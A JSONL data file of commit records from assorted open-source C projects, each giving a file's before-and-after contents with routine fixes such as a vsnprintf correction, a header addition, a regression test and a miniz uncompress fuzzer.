{"commit":"f160c0edd74d9f31c936b92c7e7e6b4c9fb6848e","old_file":"src\/engine\/scriptwindow.h","new_file":"src\/engine\/scriptwindow.h","old_contents":"#ifndef SCRIPTWINDOW_H\n#define SCRIPTWINDOW_H\n\n#include <stdint.h>\n\n#include <QHash>\n#include <QObject>\n#include <QScriptValue>\n\n\nclass QScriptEngine;\n\nclass ScriptWindow : public QObject {\n\n    Q_OBJECT\n\n    public:\n        explicit ScriptWindow(const QScriptValue &originalWindow, QObject *parent = 0);\n\n        QScriptValue toScriptValue();\n\n        Q_INVOKABLE int randomInt(int min = 0, int max = INT32_MAX) const;\n\n        Q_INVOKABLE int setInterval(const QScriptValue &function, int delay);\n        Q_INVOKABLE void clearInterval(int timerId);\n\n        Q_INVOKABLE int setTimeout(const QScriptValue &function, int delay);\n        Q_INVOKABLE void clearTimeout(int timerId);\n\n    protected:\n        virtual void timerEvent(QTimerEvent *event);\n\n    private:\n        QScriptEngine *m_engine;\n        QScriptValue m_originalWindow;\n\n        QHash<int, QScriptValue> m_intervalHash;\n        QHash<int, QScriptValue> m_timeoutHash;\n};\n\n#endif \/\/ SCRIPTWINDOW_H\n","new_contents":"#ifndef SCRIPTWINDOW_H\n#define SCRIPTWINDOW_H\n\n#include <QHash>\n#include <QObject>\n#include <QScriptValue>\n\n\nclass QScriptEngine;\n\nclass ScriptWindow : public QObject {\n\n    Q_OBJECT\n\n    public:\n        explicit ScriptWindow(const QScriptValue &originalWindow, QObject *parent = 0);\n\n        QScriptValue toScriptValue();\n\n        Q_INVOKABLE int randomInt(int min = 0, int max = 2147483647) const;\n\n        Q_INVOKABLE int setInterval(const QScriptValue &function, int delay);\n        Q_INVOKABLE void clearInterval(int timerId);\n\n        Q_INVOKABLE int setTimeout(const QScriptValue &function, int delay);\n        Q_INVOKABLE void clearTimeout(int timerId);\n\n    protected:\n        virtual void timerEvent(QTimerEvent *event);\n\n    private:\n        QScriptEngine *m_engine;\n        QScriptValue m_originalWindow;\n\n        QHash<int, QScriptValue> m_intervalHash;\n        QHash<int, QScriptValue> m_timeoutHash;\n};\n\n#endif \/\/ SCRIPTWINDOW_H\n","subject":"Fix compile error on Amazon EC2.","message":"Fix compile error on Amazon EC2.\n","lang":"C","license":"agpl-3.0","repos":"arendjr\/PlainText,arendjr\/PlainText,arendjr\/PlainText"}
{"commit":"2fbd5548c56d6cbeef46248da67cb97455a3a7ec","old_file":"apps\/rldtest\/rldtest.c","new_file":"apps\/rldtest\/rldtest.c","old_contents":"\/*\n** Copyright 2002, Manuel J. Petit. All rights reserved.\n** Distributed under the terms of the NewOS License.\n*\/\n\n#include <stdio.h>\n#include <dlfcn.h>\n\nextern int fib(int);\nextern void shared_hello(void);\n\nint\nmain()\n{\n\tvoid *freston;\n\tvoid *girlfriend;\n\n\tshared_hello();\n\tprintf(\"%d %d %d %d %d %d\\n\", fib(0), fib(1), fib(2), fib(3), fib(4), fib(5));\n\n\tfreston= dlopen(\"\/boot\/lib\/girlfriend.so\", RTLD_LAZY);\n\tgirlfriend= dlsym(freston, \"girlfriend\");\n\n\t((void(*)(void))girlfriend)();\n\n\treturn 0;\n}\n","new_contents":"\/*\n** Copyright 2002, Manuel J. Petit. All rights reserved.\n** Distributed under the terms of the NewOS License.\n*\/\n\n#include <stdio.h>\n#include <dlfcn.h>\n\nextern int fib(int);\nextern void shared_hello(void);\n\nint\nmain()\n{\n\tvoid *freston;\n\tvoid *girlfriend;\n\n\tshared_hello();\n\tprintf(\"%d %d %d %d %d %d\\n\", fib(0), fib(1), fib(2), fib(3), fib(4), fib(5));\n\n\tfreston= dlopen(\"\/boot\/lib\/girlfriend.so\", RTLD_NOW);\n\tgirlfriend= dlsym(freston, \"girlfriend\");\n\n\t((void(*)(void))girlfriend)();\n\n\treturn 0;\n}\n","subject":"Fix serious bug. Should be RTLD_NOW... RTLD_LAZY does not work for getting a girlfriend.","message":"Fix serious bug. Should be RTLD_NOW... RTLD_LAZY does not work for getting a girlfriend.\n\n\ngit-svn-id: fb278a52ad97f7fbef074986829f2c6a2a3c4b34@547 c25cc9d1-44fa-0310-b259-ad778cb1d433\n","lang":"C","license":"bsd-3-clause","repos":"dioptre\/newos,travisg\/newos,siraj\/newos,zhouxh1023\/newos,siraj\/newos,siraj\/newos,dioptre\/newos,dioptre\/newos,siraj\/newos,travisg\/newos,zhouxh1023\/newos,travisg\/newos,zhouxh1023\/newos"}
{"commit":"fe2714923b986bc461b692d45c1b5eb1b469ddc4","old_file":"firmware\/include\/vb2_api.h","new_file":"firmware\/include\/vb2_api.h","old_contents":"","new_contents":"\/* Copyright (c) 2014 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/* APIs between calling firmware and vboot_reference\n *\n * DO NOT INCLUDE THE HEADERS BELOW DIRECTLY!  ONLY INCLUDE THIS FILE!\n *\/\n\n#ifndef VBOOT_VB2_API_H_\n#define VBOOT_VB2_API_H_\n\n\/* Standard APIs *\/\n#include \"..\/2lib\/include\/2api.h\"\n\n\/*\n * Coreboot should not need access to vboot2 internals.  But right now it does.\n * At least this forces it to do so through a relatively narrow hole so vboot2\n * refactoring can continue.\n *\n * Please do not rip this into a wider hole, or expect this hole to continue.\n *\n * TODO: Make cleaner APIs to this stuff.\n *\/\n#ifdef NEED_VB20_INTERNALS\n#include \"..\/2lib\/include\/2struct.h\"\n#endif\n\n#endif  \/* VBOOT_VB2_API_H_ *\/\n","subject":"Add official API header file","message":"vboot2: Add official API header file\n\nThis is what other firmware should include.  Other firmware must NOT\nattempt to include headers from deeper inside the vboot2\nimplementation; that will likely break as vboot2 is refactored.\n\nBUG=chromium:423882\nBRANCH=none\nTEST=VBOOT2=1 make runtests\n\nChange-Id: I63638b03bb108296fa5069e7cc32ee9e25183846\nSigned-off-by: Randall Spangler <62698fdbb84d1779579ee80c3f39fac22017e5bc@chromium.org>\nReviewed-on: https:\/\/chromium-review.googlesource.com\/233050\nReviewed-by: Bill Richardson <129945214b1d548d8e49b6c29c43094f8c78057f@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/vboot,geekboxzone\/mmallow_external_vboot_reference,acorn-marvell\/vboot_reference,acorn-marvell\/vboot_reference,geekboxzone\/mmallow_external_vboot_reference,coreboot\/vboot,geekboxzone\/mmallow_external_vboot_reference,geekboxzone\/mmallow_external_vboot_reference,acorn-marvell\/vboot_reference,coreboot\/vboot,geekboxzone\/mmallow_external_vboot_reference,coreboot\/vboot,coreboot\/vboot,acorn-marvell\/vboot_reference"}
{"commit":"4ea166194c7eec0262b3e30d9a599ea187a8591e","old_file":"src\/ios\/KirinKit\/KirinKit\/Extensions\/GWTServices\/NewDatabaseAccessService.h","new_file":"src\/ios\/KirinKit\/KirinKit\/Extensions\/GWTServices\/NewDatabaseAccessService.h","old_contents":"\/\/\n\/\/  NewDatabasesImpl.h\n\/\/  KirinKit\n\/\/\n\/\/  Created by Douglas Hoskins on 04\/10\/2013.\n\/\/  Copyright (c) 2013 Future Platforms. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"NSObject+Kirin.h\"\n#import \"KirinGwtServiceStub.h\"\n#import \"NewTransactionService.h\"\n#import <toNative\/DatabaseAccessServiceNative.h>\n\n@interface NewDatabaseAccessService : KirinGwtServiceStub<DatabaseAccessServiceNative>\n\n@property (strong, nonatomic) NSMutableDictionary * DbForId;\n@property (strong, nonatomic) NewTransactionService * NewTransactionService;\n@end\n","new_contents":"\/\/\n\/\/  NewDatabasesImpl.h\n\/\/  KirinKit\n\/\/\n\/\/  Created by Douglas Hoskins on 04\/10\/2013.\n\/\/  Copyright (c) 2013 Future Platforms. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"NSObject+Kirin.h\"\n#import \"KirinGwtServiceStub.h\"\n#import \"NewTransactionService.h\"\n#import <toNative\/DatabaseAccessServiceNative.h>\n#import \"KirinSynchronousExecute.h\"\n\n@interface NewDatabaseAccessService : KirinGwtServiceStub<DatabaseAccessServiceNative, KirinSynchronousExecute>\n\n@property (strong, nonatomic) NSMutableDictionary * DbForId;\n@property (strong, nonatomic) NewTransactionService * NewTransactionService;\n@end\n","subject":"Make KirinGwtServiceStub use KirinSynchronousExecute protocol","message":"[ios]  Make KirinGwtServiceStub use KirinSynchronousExecute protocol\n","lang":"C","license":"apache-2.0","repos":"futureplatforms\/Kirin,futureplatforms\/Kirin,futureplatforms\/Kirin,futureplatforms\/Kirin,futureplatforms\/Kirin"}
{"commit":"56437dfda6512a192e1eb227019c36e83c3df422","old_file":"src\/common\/global_state_annotation.h","new_file":"src\/common\/global_state_annotation.h","old_contents":"","new_contents":"\/\/\/ @file\n\/\/\/ @brief Defines global state annotation class.\n\n#ifndef GLOBAL_STATE_ANNOTATION_H\n#define GLOBAL_STATE_ANNOTATION_H\n\nnamespace fish_annotator {\n\n\/\/\/ Defines global state information for one image\/frame.\nstruct GlobalStateAnnotation : public Serialization {\n  \/\/\/ Constructor.\n  \/\/\/\n  \/\/\/ @param states Global states of this image\/frame.\n  GlobalStateAnnotation(std::map<std::string, bool> states);\n\n  \/\/\/ Default constructor.\n  GlobalStateAnnotation();\n\n  \/\/\/ Writes to a property tree.\n  \/\/\/\n  \/\/\/ @return Property tree constructed from the object.\n  pt::ptree write() const override final;\n\n  \/\/\/ Reads from a property tree.\n  \/\/\/\n  \/\/\/ @param tree Property tree to be read.\n  void read(const pt::ptree &tree);\n\n  \/\/\/ Global states of this image\/frame.\n  std::map<std::string, bool> states_;\n};\n\n} \/\/ namespace fish_annotator\n\n#endif \/\/ GLOBAL_STATE_ANNOTATION_H\n","subject":"Add global state annotation definitions","message":"Add global state annotation definitions\n","lang":"C","license":"mit","repos":"BGWoodward\/FishDetector"}
{"commit":"b3761005e1bcdcc11051bf45e90a00b1f33cb82e","old_file":"tests\/regression\/29-svcomp\/27-td3-front-via-destab-infl.c","new_file":"tests\/regression\/29-svcomp\/27-td3-front-via-destab-infl.c","old_contents":"","new_contents":"\/\/ PARAM: --set ana.activated[+] var_eq --set ana.activated[+] symb_locks --set ana.activated[+] region --enable ana.sv-comp.enabled --set ana.specification \"CHECK( init(main()), LTL(G ! call(reach_error())) )\"\n\n\/\/ creduced from ldv-linux-4.2-rc1\/linux-4.2-rc1.tar.xz-43_2a-drivers--scsi--qla4xxx--qla4xxx.ko-entry_point.cil.out.i\n\/\/ this program and params are really minimal, which produced a TD3 abort verify error, so don't simplify\n\nint a;\n\nvoid c();\n\nvoid b() {\n  c();\n}\n\nunsigned e() {\n  int d;\n  if (d)\n    c();\n  return;\n}\n\nvoid c() {\n  int f;\n  unsigned g = 0;\n\n  do {\n    g = e();\n    if (a)\n      return;\n\n    do {\n      f++;\n    } while (f);\n\n  } while (g);\n\n  b();\n}\n\nint main() {\n  b();\n  return 0;\n}\n","subject":"Add minimal creduced case where TD3 abort fails its verify","message":"Add minimal creduced case where TD3 abort fails its verify\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"d88ad4e76c026a8a2a959cacefd456d04ea22601","old_file":"solutions\/uri\/1010\/1010.c","new_file":"solutions\/uri\/1010\/1010.c","old_contents":"","new_contents":"#include <math.h>\n#include <stdio.h>\n\nint main() {\n    int a, b;\n    float c, s = 0.0;\n\n    while (scanf(\"%d %d %f\", &a, &b, &c) != EOF) {\n        s += c * b;\n    }\n\n    printf(\"VALOR A PAGAR: R$ %.2f\\n\", s);\n}\n","subject":"Solve Simple Calculate in c","message":"Solve Simple Calculate in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"8709f4c305854a8e23e6c0fc868b7c9a65827707","old_file":"src\/String.h","new_file":"src\/String.h","old_contents":"\/\/=============================================================================\r\n\/\/ String.h\r\n\/\/=============================================================================\r\n#ifndef SRC_STRING_H_\r\n#define SRC_STRING_H_\r\n\r\n#include \"AutoReleasePool.h\"\r\n#include <string.h>\r\n\/\/-----------------------------------------------------------------------------\r\nSTRUCT String {\r\n  const string str;\r\n  const unsigned long size;\r\n} String;\r\n\/\/-----------------------------------------------------------------------------\r\nString StringOf(const string);\r\nstring newstring(AutoReleasePool*, unsigned long size);\r\nString newString(AutoReleasePool*, unsigned long size);\r\nstring copystring(AutoReleasePool*, const string, unsigned long size);\r\nString copyString(AutoReleasePool*, const String, unsigned long size);\r\nString appendChar(AutoReleasePool*, const String, const CHAR, unsigned int increaseBy);\r\nstring joinstrings(AutoReleasePool*, const string, const string);\r\nString joinStrings(AutoReleasePool*, const String, const String);\r\nString trimStringToSize(AutoReleasePool*, const String);\r\nunsigned int getAllocationCount();\r\n\/\/-----------------------------------------------------------------------------\r\n#endif \/\/ SRC_STRING_H_\r\n\/\/-----------------------------------------------------------------------------","new_contents":"\/\/=============================================================================\r\n\/\/ String.h\r\n\/\/=============================================================================\r\n#ifndef SRC_STRING_H_\r\n#define SRC_STRING_H_\r\n\r\n#include \"AutoReleasePool.h\"\r\n#include <string.h>\r\n\/\/-----------------------------------------------------------------------------\r\nSTRUCT String {\r\n  string str;\r\n  unsigned long size;\r\n} String;\r\n\/\/-----------------------------------------------------------------------------\r\nString StringOf(const string);\r\nstring newstring(AutoReleasePool*, unsigned long size);\r\nString newString(AutoReleasePool*, unsigned long size);\r\nstring copystring(AutoReleasePool*, const string, unsigned long size);\r\nString copyString(AutoReleasePool*, const String, unsigned long size);\r\nString appendChar(AutoReleasePool*, const String, const CHAR, unsigned int increaseBy);\r\nstring joinstrings(AutoReleasePool*, const string, const string);\r\nString joinStrings(AutoReleasePool*, const String, const String);\r\nString trimStringToSize(AutoReleasePool*, const String);\r\nunsigned int getAllocationCount();\r\n\/\/-----------------------------------------------------------------------------\r\n#endif \/\/ SRC_STRING_H_\r\n\/\/-----------------------------------------------------------------------------","subject":"Refactor - fix error in gcc compile","message":"Refactor - fix error in gcc compile","lang":"C","license":"apache-2.0","repos":"jasonxhill\/okavangoc,jasonxhill\/okavangoc"}
{"commit":"96bc2bb6c95cb61d0039c7da19cd7d172c668aa9","old_file":"lib\/libmid\/errstr.c","new_file":"lib\/libmid\/errstr.c","old_contents":"#include \"..\/..\/include\/mid.h\"\n#include <SDL\/SDL_error.h>\n#include <stdarg.h>\n#include <errno.h>\n#include <string.h>\n\nenum { Bufsz = 1024 };\n\nstatic char curerr[Bufsz + 1];\n\nvoid seterrstr(const char *fmt, ...)\n{\n\tva_list ap;\n\tva_start(ap, fmt);\n\tsnprintf(curerr, Bufsz + 1, fmt, ap);\n\tva_end(ap);\n}\n\nconst char *miderrstr(void){\n\tint err = errno;\n\n\tif (curerr[0] != '\\0') {\n\t\tstatic char retbuf[Bufsz + 1];\n\t\tstrncpy(retbuf, curerr, Bufsz);\n\t\tretbuf[Bufsz] = '\\0';\n\t\tcurerr[0] = '\\0';\n\t\treturn retbuf;\n\t}\n\n\tconst char *e = SDL_GetError();\n\tif(e[0] != '\\0')\n\t\treturn e;\n\n\treturn strerror(err);\n}\n","new_contents":"#include \"..\/..\/include\/mid.h\"\n#include <SDL\/SDL_error.h>\n#include <stdarg.h>\n#include <errno.h>\n#include <string.h>\n\nenum { Bufsz = 1024 };\n\nstatic char curerr[Bufsz + 1];\n\nvoid seterrstr(const char *fmt, ...)\n{\n\tva_list ap;\n\tva_start(ap, fmt);\n\tvsnprintf(curerr, Bufsz + 1, fmt, ap);\n\tva_end(ap);\n}\n\nconst char *miderrstr(void){\n\tint err = errno;\n\n\tif (curerr[0] != '\\0') {\n\t\tstatic char retbuf[Bufsz + 1];\n\t\tstrncpy(retbuf, curerr, Bufsz);\n\t\tretbuf[Bufsz] = '\\0';\n\t\tcurerr[0] = '\\0';\n\t\treturn retbuf;\n\t}\n\n\tconst char *e = SDL_GetError();\n\tif(e[0] != '\\0')\n\t\treturn e;\n\n\treturn strerror(err);\n}\n","subject":"Call vsnprintf instead of just snprintf.","message":"Call vsnprintf instead of just snprintf.\n","lang":"C","license":"mit","repos":"velour\/mid,velour\/mid,velour\/mid"}
{"commit":"dcf530dd0e811a75191bd0f86e53561db1a8ed44","old_file":"config\/config-mem.h","new_file":"config\/config-mem.h","old_contents":"\/*\n * config-mem.h\n *\n * Copyright (c) 1996, 1997\n *\tTransvirtual Technologies, Inc.  All rights reserved.\n *\n * See the file \"license.terms\" for information on usage and redistribution \n * of this file. \n *\/\n\n#ifndef __config_mem_h\n#define __config_mem_h\n\n#if defined(HAVE_STRING_H)\n#include <string.h>\n#endif\n#if defined(HAVE_MALLOC_H)\n#include <malloc.h>\n#endif\n#if defined(HAVE_ALLOCA_H)\n#include <alloca.h>\n#endif\n#if defined(HAVE_MEMORY_H)\n#include <memory.h>\n#endif\n#if defined(HAVE_MMAP)\n#include <sys\/mman.h>\n#endif\n\n#if !defined(HAVE_MEMCPY)\nvoid bcopy(void*, void*, size_t);\n#define\tmemcpy(_d, _s, _n)\tbcopy((_s), (_d), (_n))\n#endif\n\n#if !defined(HAVE_MEMMOVE)\n\/* use bcopy instead *\/\n#define memmove(to,from,size)\tbcopy((from),(to),(size))\n#endif\n\n#if !defined(HAVE_GETPAGESIZE)\n#define\tgetpagesize()\t8192\n#endif\n\n#endif\n","new_contents":"\/*\n * config-mem.h\n *\n * Copyright (c) 1996, 1997\n *\tTransvirtual Technologies, Inc.  All rights reserved.\n *\n * See the file \"license.terms\" for information on usage and redistribution \n * of this file. \n *\/\n\n#ifndef __config_mem_h\n#define __config_mem_h\n\n#if defined(HAVE_STRING_H)\n#include <string.h>\n#endif\n#if defined(HAVE_MALLOC_H)\n#include <malloc.h>\n#endif\n#if defined(HAVE_ALLOCA_H)\n#include <alloca.h>\n#endif\n#if defined(HAVE_MEMORY_H)\n#include <memory.h>\n#endif\n#if defined(HAVE_MMAP)\n#include <sys\/types.h>\n#include <sys\/mman.h>\n#endif\n\n#if !defined(HAVE_MEMCPY)\nvoid bcopy(void*, void*, size_t);\n#define\tmemcpy(_d, _s, _n)\tbcopy((_s), (_d), (_n))\n#endif\n\n#if !defined(HAVE_MEMMOVE)\n\/* use bcopy instead *\/\n#define memmove(to,from,size)\tbcopy((from),(to),(size))\n#endif\n\n#if !defined(HAVE_GETPAGESIZE)\n#define\tgetpagesize()\t8192\n#endif\n\n#endif\n","subject":"Fix build problem under FreeBSD.","message":"Fix build problem under FreeBSD.\n","lang":"C","license":"lgpl-2.1","repos":"kaffe\/kaffe,kaffe\/kaffe,kaffe\/kaffe,kaffe\/kaffe,kaffe\/kaffe"}
{"commit":"25d67e3ef084ff3894a235c2ab529f362524b89a","old_file":"include\/nekit\/utils\/async_io_interface.h","new_file":"include\/nekit\/utils\/async_io_interface.h","old_contents":"\/\/ MIT License\n\n\/\/ Copyright (c) 2017 Zhuhao Wang\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#pragma once\n\n#include <boost\/asio.hpp>\n\nnamespace nekit {\nnamespace utils {\n\nclass AsyncIoInterface {\n public:\n  explicit AsyncIoInterface(boost::asio::io_service& io) : io_{&io} {};\n  ~AsyncIoInterface() = default;\n\n  boost::asio::io_service& io() const { return *io_; }\n\n private:\n  boost::asio::io_service* io_;\n};\n\n}  \/\/ namespace utils\n}  \/\/ namespace nekit\n","new_contents":"\/\/ MIT License\n\n\/\/ Copyright (c) 2017 Zhuhao Wang\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#pragma once\n\n#include <boost\/asio.hpp>\n\nnamespace nekit {\nnamespace utils {\n\nclass AsyncIoInterface {\n public:\n  virtual ~AsyncIoInterface() = default;\n\n  \/\/ It must be guaranteed that any `io_context` that will be returned by any\n  \/\/ instances of this interface should not be released before all instances are\n  \/\/ released.\n  virtual boost::asio::io_context* io() = 0;\n};\n\n}  \/\/ namespace utils\n}  \/\/ namespace nekit\n","subject":"Make AsyncIoInterface a pure interface","message":"REFACTOR: Make AsyncIoInterface a pure interface\n","lang":"C","license":"mit","repos":"zhuhaow\/libnekit,zhuhaow\/libnekit,zhuhaow\/libnekit,zhuhaow\/libnekit"}
{"commit":"3281226fa2caa220f9654fa3c6734f56962792a2","old_file":"prefix.h","new_file":"prefix.h","old_contents":"#ifndef KLETCH_MATH_PREFIX_H\n#define KLETCH_MATH_PREFIX_H\n\n#include <utility>\n#include <tuple>\n#include <iostream>\n#include <limits>\n#include \"special_functions.h\"\n\nnamespace kletch {\n\n#ifdef KLETCH_USE_DOUBLES\n    typedef double real;\n#else\n    typedef float real;\n#endif\n\ntemplate <typename T>\ninline constexpr real rl(T number) { return static_cast<real>(number); }\n\nusing std::swap;\n\ntypedef std::numeric_limits<double> double_limits;\ntypedef std::numeric_limits<float> float_limits;\ntypedef std::numeric_limits<real> real_limits;\n\n} \/\/ namespace kletch\n\n#endif \/\/ KLETCH_MATH_PREFIX_H\n","new_contents":"#ifndef KLETCH_MATH_PREFIX_H\n#define KLETCH_MATH_PREFIX_H\n\n#include <utility>\n#include <tuple>\n#include <iostream>\n#include <limits>\n#include \"special_functions.h\"\n\nnamespace kletch {\n\n#ifdef KLETCH_WITH_DOUBLE\n    typedef double real;\n#else\n    typedef float real;\n#endif\n\ntemplate <typename T>\ninline constexpr real rl(T number) { return static_cast<real>(number); }\n\nusing std::swap;\n\ntypedef std::numeric_limits<double> double_limits;\ntypedef std::numeric_limits<float> float_limits;\ntypedef std::numeric_limits<real> real_limits;\n\n} \/\/ namespace kletch\n\n#endif \/\/ KLETCH_MATH_PREFIX_H\n","subject":"Make ReferenceFresnelTest th config dependent","message":"Make ReferenceFresnelTest th config dependent\n","lang":"C","license":"unlicense","repos":"mkacz91\/math"}
{"commit":"642e338cf79c78704ebfa7833fdd148f561921f5","old_file":"sw\/device\/lib\/dif\/dif_warn_unused_result.h","new_file":"sw\/device\/lib\/dif\/dif_warn_unused_result.h","old_contents":"\/\/ Copyright lowRISC contributors.\n\/\/ Licensed under the Apache License, Version 2.0, see LICENSE for details.\n\/\/ SPDX-License-Identifier: Apache-2.0\n\n#ifndef OPENTITAN_SW_DEVICE_LIB_DIF_DIF_WARN_UNUSED_RESULT_H_\n#define OPENTITAN_SW_DEVICE_LIB_DIF_DIF_WARN_UNUSED_RESULT_H_\n\n\/**\n * @file\n * @brief Unused Result Warning Macro for DIFs.\n *\/\n\n\/\/ Header Extern Guard (so header can be used from C and C++)\n#ifdef __cplusplus\nextern \"C\" {\n#endif  \/\/ __cplusplus\n\n\/**\n * Attribute for functions which return errors that must be acknowledged.\n *\n * This attribute must be used to mark all DIFs which return an error value of\n * some kind, to ensure that callers do not accidentally drop the error on the\n * ground.\n *\/\n#define DIF_WARN_UNUSED_RESULT __attribute__((warn_unused_result))\n\n#ifdef __cplusplus\n}  \/\/ extern \"C\"\n#endif  \/\/ __cplusplus\n\n#endif  \/\/ OPENTITAN_SW_DEVICE_LIB_DIF_DIF_WARN_UNUSED_RESULT_H_\n","new_contents":"\/\/ Copyright lowRISC contributors.\n\/\/ Licensed under the Apache License, Version 2.0, see LICENSE for details.\n\/\/ SPDX-License-Identifier: Apache-2.0\n\n#ifndef OPENTITAN_SW_DEVICE_LIB_DIF_DIF_WARN_UNUSED_RESULT_H_\n#define OPENTITAN_SW_DEVICE_LIB_DIF_DIF_WARN_UNUSED_RESULT_H_\n\n\/**\n * @file\n * @brief Unused Result Warning Macro for DIFs.\n *\/\n\n\/\/ Header Extern Guard (so header can be used from C and C++)\n#ifdef __cplusplus\nextern \"C\" {\n#endif  \/\/ __cplusplus\n\n\/**\n * Attribute for functions which return errors that must be acknowledged.\n *\n * This attribute must be used to mark all DIFs which return an error value of\n * some kind, to ensure that callers do not accidentally drop the error on the\n * ground.\n *\n * Normally, the standard way to drop such a value on the ground explicitly is\n * with the syntax `(void)expr;`, in analogy with the behavior of C++'s\n * `[[nodiscard]]` attribute.\n * However, GCC does not implement this, so the idiom `if (expr) {}` should be\n * used instead, for the time being.\n * See https:\/\/gcc.gnu.org\/bugzilla\/show_bug.cgi?id=25509.\n *\/\n#define DIF_WARN_UNUSED_RESULT __attribute__((warn_unused_result))\n\n#ifdef __cplusplus\n}  \/\/ extern \"C\"\n#endif  \/\/ __cplusplus\n\n#endif  \/\/ OPENTITAN_SW_DEVICE_LIB_DIF_DIF_WARN_UNUSED_RESULT_H_\n","subject":"Add a comment explaining how to drop an error on the ground","message":"[dif] Add a comment explaining how to drop an error on the ground\n\nSee https:\/\/gcc.gnu.org\/bugzilla\/show_bug.cgi?id=25509, which\nnecessitates doing this in a non-standard, but still portable, manner.\n\nSigned-off-by: Miguel Young de la Sota <71b8e7f4945fd97b98544cf897992af89646547a@google.com>\n","lang":"C","license":"apache-2.0","repos":"lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan"}
{"commit":"1e7621d96cb9d0821c61db6f4e3ef36ddc19b0cd","old_file":"tests\/uncompress_fuzzer.c","new_file":"tests\/uncompress_fuzzer.c","old_contents":"\/* Derived from zlib fuzzers at http:\/\/github.com\/google\/oss-fuzz\/tree\/master\/projects\/zlib,\n * see ossfuzz.sh for full license text.\n*\/\n\n#include <stddef.h>\n#include <stdint.h>\n#include <string.h>\n\n#include \"miniz.h\"\n\nstatic unsigned char buffer[256 * 1024] = { 0 };\n\nint LLVMFuzzerTestOneInput(const uint8_t* data, size_t size)\n{\n    unsigned long int buffer_length = sizeof(buffer);\n\n    if (Z_OK != uncompress(buffer, &buffer_length, data, size)) return 0;\n    \n    return 0;\n}\n","new_contents":"\/* Derived from zlib fuzzers at http:\/\/github.com\/google\/oss-fuzz\/tree\/master\/projects\/zlib,\n * see ossfuzz.sh for full license text.\n*\/\n\n#include <stddef.h>\n#include <stdint.h>\n#include <string.h>\n\n#include \"miniz.h\"\n\nint LLVMFuzzerTestOneInput(const uint8_t* data, size_t size)\n{\n    unsigned long int buffer_length = 1;\n    unsigned char *buffer = NULL;\n    int z_status = 0;\n\n    if (size > 0)\n        buffer_length *= data[0];\n    if (size > 1)\n        buffer_length *= data[1];\n\n    buffer = (unsigned char *)malloc(buffer_length);\n\n    z_status = uncompress(buffer, &buffer_length, data, size);\n    free(buffer);\n\n    if (Z_OK != z_status)\n        return 0;\n    return 0;\n}\n","subject":"Use variable size input buffer in uncompress fuzzer.","message":"Use variable size input buffer in uncompress fuzzer.\n","lang":"C","license":"mit","repos":"richgel999\/miniz,richgel999\/miniz,richgel999\/miniz"}
